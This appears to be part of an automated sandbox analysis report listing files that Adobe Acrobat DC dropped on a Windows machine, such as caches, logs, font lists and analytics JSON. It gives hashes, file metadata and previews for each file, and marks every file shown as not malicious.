SSDEEP:	6:iO4q5Cq2PcNwi2nKuAl9OmbzNMxIFUtSq5+ZZmwsq5X/kwOcNwi2nKuAl9OmbzNq:7OvLZHAa8jFUtU/f54ZHAa84J
MD5:	09747E7C903A12033F7982437D135495
SHA1:	6168720391A901E36BAEAD5311981782AFB3C490
SHA-256:	C12A12513B8F6046DB79BC4CA00C373CC83C2B87AC9A03B33D0607D5BCB01566
SHA-512:	F91B4F9BCDEF10DAB07A007FEB4DBAD435A5BC5612C63B0E46CEF6C3879FD2AE0DA50051154E15FF5AC5AE018553D43B46FCC67FA42EE64D40DB71AB3443222D
Malicious:	false
Preview:	2025/01/10-23:19:27.817 1e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:19:27.818 1e24 Recovering log #3.2025/01/10-23:19:27.819 1e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.210609205373417
Encrypted:	false
SSDEEP:	6:iO4q5Cq2PcNwi2nKuAl9OmbzNMxIFUtSq5+ZZmwsq5X/kwOcNwi2nKuAl9OmbzNq:7OvLZHAa8jFUtU/f54ZHAa84J
MD5:	09747E7C903A12033F7982437D135495
SHA1:	6168720391A901E36BAEAD5311981782AFB3C490
SHA-256:	C12A12513B8F6046DB79BC4CA00C373CC83C2B87AC9A03B33D0607D5BCB01566
SHA-512:	F91B4F9BCDEF10DAB07A007FEB4DBAD435A5BC5612C63B0E46CEF6C3879FD2AE0DA50051154E15FF5AC5AE018553D43B46FCC67FA42EE64D40DB71AB3443222D
Malicious:	false
Preview:	2025/01/10-23:19:27.817 1e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:19:27.818 1e24 Recovering log #3.2025/01/10-23:19:27.819 1e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43882612114472
Encrypted:	false
SSDEEP:	384:Cecci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:jMurVgazUpUTTGt
MD5:	DC8F36AC5A6B9DF792766BF41561BCE2
SHA1:	2F28EB136E7256764655AB55B4800A8792A632E3
SHA-256:	E80FA7312D635F295BA29290B518D98017654CB25320456F1A84C607CE147B0A
SHA-512:	9AD29191F1D7E91CFD0AF95EA21940F0D2ABE594381DA03D9815034AAB67AD296AF41FA919403A04F1621E5F3F695E9961C4E1EA651753687D497F3B5855AB98
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2145109306076356
Encrypted:	false
SSDEEP:	24:7+tOj6wKjqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzb:7M2Wjq/mFTIF3XmHjBoGGR+jMz+Lhi
MD5:	16AEB4362226C2F41DA8245CDD70A3EA
SHA1:	7892D720248EE0D6525740B642B63EFD83E836CC
SHA-256:	EC7EE31AD631B312E394CDB22FAE96EE04E8C5D01C2B4D23A9D78BB76201AACE
SHA-512:	FAE2670718FEA001474EC18E18AD8A3E238BCAC61C62DD99EAA7D6DDCFEF2736FB218B60CF8DC9F011A3E85A3BF569D2D66A072ABC8EE2122F83B4E1631A68C9
Malicious:	false
Preview:	.... .c.....U..e........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklpP1PtfllXlE/HT8krwh/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKQeT8iwJdNMa8RdWBwRd
MD5:	C78406410CAADBE4F6E5EBF6FA0B7384
SHA1:	35AA07BF182ED877F7077B6711802469A1962A62
SHA-256:	A131209CD3951C0706941E00DB8CCE30002FA8379E401B9118AFE987B407E4B5
SHA-512:	3D3EB03368FF377E8F36A7413022B539626F09CF1177A53244EF39A6FC2F33A6D6565A17563F43BDF73FE0083F3C5832E6C103E42676C71CDC21DC9ACD709A7A
Malicious:	false
Preview:	p...... .........*l..c..(....................................................... ..........W.....u..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1272885043655076
Encrypted:	false
SSDEEP:	6:kK6J/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:m/iDnLNkPlE99SNxAhUe/3
MD5:	CDDDB1F9CB746DCA5A54974E3B21EF5F
SHA1:	999639DF4EA4FB605C8DD7E486BD30ADAF06E76D
SHA-256:	396A2B93960A1D6638CCFF79C76485B9F400DD7B492E94C9E6025B09B1E21C5B
SHA-512:	951F2FFB072F2C011064FDE4A5DB27BC2A9B4F5FA5925B619B97B6A20B90255D4A7273C9E9F1F1A896C7953213FE526037FDC5531196DF657A106AE7C5CA1747
Malicious:	false
Preview:	p...... .........c...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7288

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7288

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.381293793205997
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJM3g98kUwPeUkwRe9:YvXKX3ZrusdTeOMGMbLUkee9
MD5:	8F1E0006ED31C21D13173C3F84781CEB
SHA1:	3125C539C37858B93BA1557A7F709FA79E448DAA
SHA-256:	BA05F2F3D1A7EFD52CA06E01DC6B305DD450C0161E13EAFB5584A41E5464A062
SHA-512:	80E430CD10D662DA042AD324B9A8ADCAA9B0075E5C382FE14DBBE16A8AE03B7B28827C1A1F815031A0E60A1DC9EC5DDAA81EC1C327124EF4D81DD4AE9A9AF3C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315243604079206
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfBoTfXpnrPeUkwRe9:YvXKX3ZrusdTeOMGWTfXcUkee9
MD5:	052C19B3661A70959034FC02DB82D721
SHA1:	CAEE11A0AF46F713B262652BDA1B85CAB155E9EC
SHA-256:	0E1B769BFA6FCE78CDA7AA60DF61D1A567DACD671B983DB23F74103C808249B0
SHA-512:	FB247A497DAB6D9705BFD2498357D3B740903C6614E6941E424A6A71E6662854047F799805A5ADF6E2D16FF6E07A677991011CA6FA68CB5E78AC3F04DF4C83BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2942386394742815
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfBD2G6UpnrPeUkwRe9:YvXKX3ZrusdTeOMGR22cUkee9
MD5:	B984DA54C36988B198854A3DFBD0050F
SHA1:	EB29BD822CDEF55A4FB2C3C1A8A6CF5F052BACC6
SHA-256:	C8855B6A694B317FF2BE9DA5B9C103E394BC4731A3B0914CD1401531135F6427
SHA-512:	044ABDE9F7859C2DCC3D2B231DB920B3EFE57F3DD3637FB45AE048127F4A081A0FB371D932A71FFE3F2B52CFABA50D609861B9941C58C3B5028B0128FBCE2C02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.368801233444631
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfPmwrPeUkwRe9:YvXKX3ZrusdTeOMGH56Ukee9
MD5:	D71DC32D102757A5493A52A7EFE64EEB
SHA1:	58DFC55155F234AFEF9D1C3DFF0D4D4B84EA6653
SHA-256:	2B581F17ACF84F534D1657F4E70A7DBDA847F320995AD1195F61EF30CC8115CE
SHA-512:	9935047D33F0D19B66DB92FC849C0FF71258B41FCEC21C1E83AD6D229DE83B1A65310068D10359879C025CFAD0E3C3F1BF315B4AE2DF64F61C0472618628144D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694015417938226
Encrypted:	false
SSDEEP:	24:Yv6X3cmeOppLgE9cQx8LennAvzBvkn0RCmK8czOCCSM:Yvafe+hgy6SAFv5Ah8cv/M
MD5:	71622B5B71AF74D81F785CA00567876D
SHA1:	BB4CA30850B0E5C80BAC095EDC0A582A91E4823A
SHA-256:	EF4F5F121460456DE1FC47CB552EA89B3AD63D1604EE5A5D5DDE3D48393EC1C8
SHA-512:	AA509D6BA7AE0C93CF93A67C5D4E0F1D3E979A4E1ADA180CCE862DB9D6ACD62B8504A59573CBA5A87F092D21988DBD0E4C81E24C5F8683432DB2148DF8A053BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304610992934487
Encrypted:	false
